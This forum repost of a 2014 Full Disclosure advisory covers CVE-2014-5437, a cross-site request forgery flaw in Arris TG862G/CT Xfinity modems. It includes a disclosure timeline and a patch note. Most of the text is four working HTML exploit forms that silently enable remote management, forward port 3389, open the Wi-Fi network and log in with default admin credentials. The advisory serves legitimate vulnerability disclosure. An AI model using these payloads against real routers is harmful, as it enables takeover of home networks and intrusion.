Aerosol Posted December 27, 2014 Report Posted December 27, 2014 (edited) -----------Vendor:-----------Arris Interactive, LLC (http://www.arrisi.com/)ISP: Comcast Xfinity-----------------------------------------Affected Products/Versions:-----------------------------------------HW: Arris Touchstone TG862G/CT (Xfinity branded)SW: Version 7.6.59S.CT (Tested)-----------------Description:-----------------Title: Cross-site Request Forgery (CSRF)CVE: CVE-2014-5437CWE: CWE-352: http://cwe.mitre.org/data/definitions/352.htmlResearcher: Seth Art - @ Sethsec----------------------------------------------------POC - Enable remote management:----------------------------------------------------<html><body><h1>Arris </h1><form action="http://10.0.0.1/remote_management.php"; method="POST"> <input type="hidden" name="http_port" value="8080" /> <input type="hidden" name="http" value="enabled" /> <input type="hidden" name="single" value="any" /> <input type="submit" value="Submit request" /></form>Sending CSRF Payload!!!</body></html>----------------------------------------------POC - Add port forwarding rule:----------------------------------------------<html><body><h1> Arris TG862G/CT – CSRF - Add port forwarding rule</h1><form action="http://10.0.0.1/port_forwarding_add.php"; method="POST"> <input type="hidden" name="common_services" value="other" /> <input type="hidden" name="other_service" value="csrf1" /> <input type="hidden" name="sevice_type" value="1" /> <input type="hidden" name="server_ip_address_1" value="10" /> <input type="hidden" name="server_ip_address_2" value="0" /> <input type="hidden" name="server_ip_address_3" value="0" /> <input type="hidden" name="server_ip_address_4" value="100" /> <input type="hidden" name="start_port" value="3389" /> <input type="hidden" name="end_port" value="3389" /> <input type="submit" value="Submit request" /></form>Sending CSRF Payload!!!</body>-----------------------------------------------------------POC - Change wireless network to open:-----------------------------------------------------------<html><body><h1> Arris TG862G/CT – CSRF – Change wireless network to open</h1><form action="http://10.0.0.1/wireless_network_configuration_edit.php";method="POST"> <input type="hidden" name="restore_factory_settings" value="false" /> <input type="hidden" name="channel_sel" value="Manual" /> <input type="hidden" name="channel_num" value="1" /> <input type="hidden" name="ssid" value="csrf" /> <input type="hidden" name="wifi_mode" value="7" /> <input type="hidden" name="security" value="none" /> <input type="hidden" name="channel_selection" value="manual" /> <input type="hidden" name="channel" value="1" /> <input type="hidden" name="save_settings" value="Save Settings" /></form>Sending CSRF Payload!!!</body></html>-----------------------------------------------------POC - Login with default credentials:-----------------------------------------------------<html><body><h1>Arris TG862G/CT - Login CSRF – Default credentials </h1><form action="http://10.0.0.1/home_loggedout.php"; method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="password" /> <input type="submit" value="Submit request" /></form>Sending CSRF Payload!!!</body></html>-------------Solution:-------------I tested my Comcast Xfinity device on December 10th, 2014 and it is nolonger vulnerable (version 7.6.86L.CT). If you have an Arrismodem/router, contact your ISP (or Arris) to verify that your firmwarehas been updated to address this vulnerability... or you could fire upBurp and see for yourself -----------------------------Disclosure Timeline:-----------------------------2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product2014-07-16: Arris responded and escalated issue to Tier 22014-07-17: Arris requested vulnerability details2014-07-17: Vulnerability report sent to Arris Tier 22014-07-18: Arris confirmed receipt and began investigation2014-08-04: Requested update from Arris2014-08-05: Arris confirms issue has been escalated to engineering team2014-08-06: Attended call with Arris to walk through findings2014-09-18: Notified Arris that CVE-2014-5437 will be used to identifythis vulnerability2014-09-25: December 6th suggested as the disclosure date2014-10-13: Arris requested disclosure date of December 15th2014-12-15: Public disclosure_______________________________________________Sent through the Full Disclosure mailing list[url]http://nmap.org/mailman/listinfo/fulldisclosure[/url]Web Archives & RSS: [url]http://seclists.org/fulldisclosure/[/url]Source Edited December 27, 2014 by Aerosol Quote
